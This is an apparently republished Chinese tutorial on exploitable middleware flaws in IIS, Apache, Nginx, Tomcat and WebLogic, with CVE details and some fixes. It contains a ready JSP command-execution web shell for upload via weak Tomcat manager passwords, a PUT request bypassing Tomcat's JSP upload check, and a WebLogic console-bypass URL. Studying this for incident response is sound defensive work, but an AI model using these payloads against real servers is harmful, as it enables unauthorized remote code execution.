基础知识篇 | 应急响应之中间件漏洞
2022-8-21 09:9:46 Author: 编码安全研究(查看原文) 阅读量:27 收藏

中间件基础知识

什么是中间件漏洞?

中间件(Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间;我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件

中间件的类型?

IIS、Apache、Nginx、Tomcat、shiro、WebLogic....

中间件初识

IIS漏洞

IIS是什么?

IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。目前只适用于Windows系统,并且常与asp搭配

IIS6.x版本

基于文件名:该版本会默认把*.asp;.jpg文件当成.asp文件来执行;原理是服务器默认不解析分号,后面的内容相当于截断

基于文件夹名:该版本会默认将*.asp/目录下的所有文件当成Asp文件解析;IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp,

补充IIS目前只适用于目Windows系统不适用于其他操作系统

IIS 7.x版本

IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文件

PUT任意文件写入任

IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入

WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT可以用于将文件上传到服务器、MOVE可以移动 / 重命名服务器上的文件,这两个方法配合即可达到getshell的目的。

可以用一个Python脚本来验证一个网站是否开启了PUT方法:

import requests

if __name__ == '__main__':
   url = input("Please input the target url: ")

   headers = {
       "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0"
  }
   # 构造数据包,向目标服务器发起Options请求,查看是否支持PUT协议
   response = requests.options(url=url, headers=headers)
   if "PUT" in response.headers['Public']:
       print("Yes!")

如果开启了PUT方法,就可以尝试上传文件,如果后缀受限制,则可以尝试用MOVE方法将其重命名为asp / php后缀

IIS短文件漏洞

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于MS-DOS16位 Windows的程序访问这些文件;在cmd下输入"dir /x"即可看到短文件名的效果

Apache漏洞

未知扩展名解析漏洞

Apache对后缀名的解析是从右往左进行的,当遇到未知的后缀名时,会从右往左继续寻找,直到找到合法后缀名从解析,如a.php.xxx会以php文件进行执行    

AddHandler导致的解析漏洞

如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php 那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀;利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞

Apache2.4.0-2.4.29版本(Httpd换行解析漏洞;也称CVE-2017-15715

由于正则表达式不单匹配字符串的结尾位置,也可以匹配\n,\r,因此在解析php时,如1.php\x0A会被按php后缀解析,导致绕过一些服务器的安全策略

然后访问:http://localhost:8080/1.php%0a,即可看到php代码被成功执行;此漏洞形成的根本原因,在于Apache的配置文件中存在以下配置:

<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

而正则表达式中的 $$不仅匹配字符串结尾位置,也可以匹配\n\r

Njinx渲染

任意解析漏洞

小皮面板(8.1.0.4;8.1.0.7)默认配置下存在任意文件解析漏洞:上传图片马,在图片马地址后面加/.php即可执行图片马

补充:此漏洞为Nginx配置所导致,与Nginx版本无关

空字节任意代码执行漏洞

影响版本:0.5.*0.6.*0.7<=0.7.65,0.8<=0.8.37

若目录下存在一个实际为php文件的a.jpg文件,可通过访问该文件,抓包修改为a.jpg...php,在hex选项卡中将jpg后的.修改为00即可让文件依旧以php解析;该漏洞不受cgi.fix_pathinfo影响,当其为0时依旧解析

文件名逻辑漏洞(CVE-2013-4547)

影响版本:0.8.41-1.4.3/1.5.0-1.5.7

实现方法与上一个相类似,访问a.jpg,抓包修改为a.jpg...php,在hex选项卡中修改jpg后的两个点2e20,00,即可以php文件解析,该漏洞不受cgi.fix_pathinfo影响,当其为0时依旧解析

CRLF注入

这是一项由于配置不当所导致的漏洞;Nginx文档有3个表示uri的变量:1.uri 2.document_uri 3.$request_uri

1,2表示解码以后的请求路径,不带参数,3表示的是完整的URI(没有编码)Nginx会将1,2进行解码,导致传入%0a%0b即可引入换行符,导致CRLF注入漏洞

目录穿越:在配置Nginx别名时忘记加/,导致访问..可穿越至上级目录

目录遍历:当配置文件中,autoindex值设置为on时,将产生目录遍历漏洞

畸形解析

漏洞利用:在Fast-CGI运行模式下(php.ini的cgi.fix_pathinfo=1,在phpinfo中会显示该模式开启)上传任意文件,例:test.jpg后面加上/.php,会将test.jpg解析为php文件。但高版本的php中引入了security.limit_extension选项,使这一漏洞难以利用。

补充:中间件在拿到文件路径/test.jpg/.php后,发现后缀为.php,将其转交php解释器处理;而phpcgi.fix_pathinfo选项默认开启,会对文件路径进行"维修",也就是当/test.jpg/.php文件不存在,则去掉最后一个斜杆/及其往后的所有字符,变为/test.jpg,最后将jpg文件作为php文件解析。但高版本的php中引入了security.limit_extension选项,就限制了可执行文件的后缀,默认只允许执行.php后缀的文件

Tomcat漏洞

Tomcat任意文件写入(CVE-2017-12615)

环境:Tomcat/8.0.30

当配置文件/conf/web.xml配置了可写(readonly=false),即可往服务器写文件

Tomcat 8.x的配置文件/conf/web.xml中将只读选项关闭,即可写入任意文件。

<servelt>
   <init-param>
       <param-name>readonly</param-name>
       <param-value>false</param-value>
   </init-param>
</servelt>

当然,Tomcat还是不允许上传jsp后缀文件,这时可以通过/进行绕过:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

Tomcat+弱口令&&后台getshell漏洞

Tomcat`存在管理后台,账号密码设置在配置文件`/conf/tomcat-users.xml`中,可能存在弱口令 / 爆破的风险。访问`manager/html`,使用弱口令如`tomcat/tomcat`、`admin/admin`、`admin/123456`进行爆破进入后台管理

抓包,可以看到不存在通过POSTGET提交的登录信息,这是因为其信息被Base64编码后保存在Authorization首部字段中:

BurpSuite中的Base64爆破操作:登录成功可以在底部位置上传war包拿到权限

war包制作:将以下内容写入test.jsp,压缩为test.zip后重命名为test.war

<%    if("123".equals(request.getParameter("pwd"))){        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){            out.println(new String(b));        }        out.print("</pre>");    }%>

weblogic漏洞

任意文件上传(CVE-2018-2894)

12.1.3.0, 12.2.1.2, 12.2.1.3版本中的 Weblogic Web Service Test Page页面(生产模式下)存在两处文件上传点可以利用,个人认为比较鸡肋,就不展开了

弱口令

访问http://127.0.0.1:7001/console/login/LoginForm.jsp 进入管理后台,使用弱口令密码登录,weblogic常用弱口令:https://blog.csdn.net/csacs/article/details/86828522。登录之后可以在后台上传文件getshell

反序列化命令执行(CVE-2018-2628 & CVE-2018-3245)

基于T3(丰富套接字)协议通过反序列化操作实现了JVMRMI(Remote Method Invocation,远程方法调用)。第一个漏洞在打上官方补丁后仍然存在,只是利用方式不同,因此又有了一个 CVE 编号

影响版本:10.3.6.0.0、12.1.3.0.0、12.2.1.2、12.2.1.3

可以RCE的中间件漏洞

我们通过利用这些漏洞可以构造payload,用于获取配置文件、XSS、进行RCE(反弹shell也行)或者文件读写

HTTP.SYS远程代码执行(MS15-034)

影响版本:Windows:Win7、Win Server 2008 R2、Win8、Win Server 2012、Win8.1、 Win Server 2012 R2 ;IIS版本为7.5

编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞

修复:安装修复补丁(KB3042553)

RCE-CVE-2017-7269

影响范围:在Win 2003 R2(Microsoft(R) Windows(R) Server 2003, Enterprise Edition Service Pack 2)上使用IIS 6.0并开启WebDAV扩展

Microsoft Windows Server 2003 R2中的Internet信息服务(IIS)6.0中的WebDAV服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以"If:<http://"开头的长标头执行任意代码PROPFIND请求。

修复:关闭 WebDAV

Tomcat远程代码执行(CVE-2019-0232

影响范围:9.0.0.M1-9.0.17,8.5.0-8.5.39,7.0.0-7.0.93;

影响系统:windows

启用了CGI Servlet(默认为关闭),enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭);由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击

weblogic未授权命令执行(CVE-2020-14882&14883)

影响版本:weblogic版本10.3.6.0.0、12.1.3.0.0、12.2.1.2、12.2.1.3

访问/console/css/%252e%252e%252fconsole.portal,可以直接进入后台,构造payload即可实现RCE。

weblogic反序列化(CVE-2017-10271)

影响版本:weblogic版本10.3.6.0.0、12.1.3.0.0、12.2.1.1.0、12.2.1.2.0

Weblogic中的WLS Security组件对外提供了webservice服务中使用了XMLDecoder来解析用户传入的xml数据,在解析过程中存在反序列化漏洞可导致RCE

小结

另外附带参考笔记如下:

参考链接:https://vnlhub.org/#/environments/httpd/CVE-2017-15715/ 参考链接:https://blog.csdn.net/weixin_42918771/article/details/104876025 

推荐阅读   

【入门教程】常见的Web漏洞--XSS

【入门教程】常见的Web漏洞--SQL注入

sql注入--入门到进阶

短信验证码安全常见逻辑漏洞

最全常见Web安全漏洞总结及推荐解决方案

常见的Web应用的漏洞总结(原理、危害、防御)

代码审计常见漏洞总结

Web安全漏洞的靶场演示

13 款 Linux 比较实用的工具

xss攻击、绕过最全总结

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247493736&idx=1&sn=ddb61a99e0c776bb5bb40538c36e7f7f&chksm=ce64bb0df913321bd2d785892eb7470baaf0eb2003b74e757278c52e015edaa03a7131eb1b78#rd
如有侵权请联系:admin#unsafe.sh